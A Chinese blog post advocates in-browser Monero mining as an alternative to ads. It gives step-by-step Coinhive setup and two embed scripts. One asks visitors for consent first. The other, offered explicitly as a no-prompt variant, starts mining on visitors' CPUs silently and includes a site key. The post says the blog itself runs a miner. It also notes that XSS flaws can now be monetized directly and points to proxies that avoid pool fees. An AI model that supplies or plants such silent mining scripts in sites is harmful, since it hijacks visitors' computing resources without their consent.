概述:
之所以搭建这个博客,就是为了实现一个想法。首先,知识本身应该是免费的,但劳动是应该得到报酬的。劳动包括知识分享、艺术创作。但无论出版书籍、卖视频、或者付费公众号、或者打赏、或者广告等等。但是这些都是需要付出实际的人民币的,或者影响知识质量。所以这个博客是一个例子,我会在博客中分享一些文章,当你访问主页时,没有任何事发生,但当你访问其中的任意一篇文章时,则会在你的浏览器中加载一段 js 脚本,它会开启两个线程,利用你电脑的 CPU 去挖矿,挖的是一种虚拟货币,类似于比特币一类的东西,名为门罗币。当你从浏览文章中退出时,即使不关闭浏览器,依然会停止挖矿。这就是为你学习知识而支付的学费,当然免费的视频或者音乐网站都可以这样做,效果还会更好,毕竟视频的时间长。
之所以有这个想法,是因为前段时间,大约 9 月份吧。当时在 twitter 上看到海盗湾试了一下这方法,甚至它也不是第一个这么做的,这个想法也不是我想出来的,我只是觉得它很好。
因为你终于不用在自己的网页里面注入“恶心”的各种广告条了!😊😁😜
步骤:
-
注册账户
到coinhive注册账户,因为这个方法是他们实现的。 -
登陆之后,点击“Setting->Sites & API keys”,输入自己的网站地址,会给你两个key,Site Key (public),Secret Key (private)。
-
编辑自己的网站,在html中插入下面的js脚本,意思是:开启四个线程,最多只占用40%的CPU,手机上默认关闭。
<script src="https://authedmine.com/lib/authedmine.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('Site Key (public)', {threads: 4,throttle: 0.6});
// Only start on non-mobile devices and if not opted-out
// in the last 14400 seconds (4 hours):
if (!miner.isMobile() && !miner.didOptOut(14400)) {
miner.start();
}
</script>
- 上面的方式有给网站访问者提示,访问者可以点击cancle取消,如果不想提示,默认开启,就加载这个js:https://coinhive.com/lib/coinhive.min.js
代码:
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('Uoypxlmwzs8CBxKwWotW0fAIDzu9B7El', {threads: 4,throttle: 0.3});
// Only start on non-mobile devices and if not opted-out
// in the last 14400 seconds (4 hours):
if (!miner.isMobile() && !miner.didOptOut(14400)) {
miner.start();
}
</script>
更多参数参见官网说明:
https://coinhive.com/documentation/miner
最终就是你得到一段 js 脚本,然后将这段脚本插入到你的网站的任何地方都可以,当用户访问这个页面时,浏览器会加载这段 js 脚本,然后再客户端浏览器实现挖矿。
本站说明
本网站也使用了这个功能,不过不是为了赚钱,验证而已,只开了两个线程挖矿,i7笔记本测试,挖矿时 cpu 到 15% 而已。
本站的脚本如下:
其他
- 有了这个东西,XSS 漏洞就不止是盗取终端信息,可以直接变现了,所以要防护好自己的网站,尤其存储型 XSS 漏洞。
- 其实这只是基本的用法,用的是 coinhive 的矿池,而且会收取 30% 的费用(要免费有一些限制,可以自行去官网查阅)。所以真的指望用这来赚钱的话,可以去 github 上搜下代理(直接搜 coinhive),通过代理可以使用任何矿池,且没有手续费。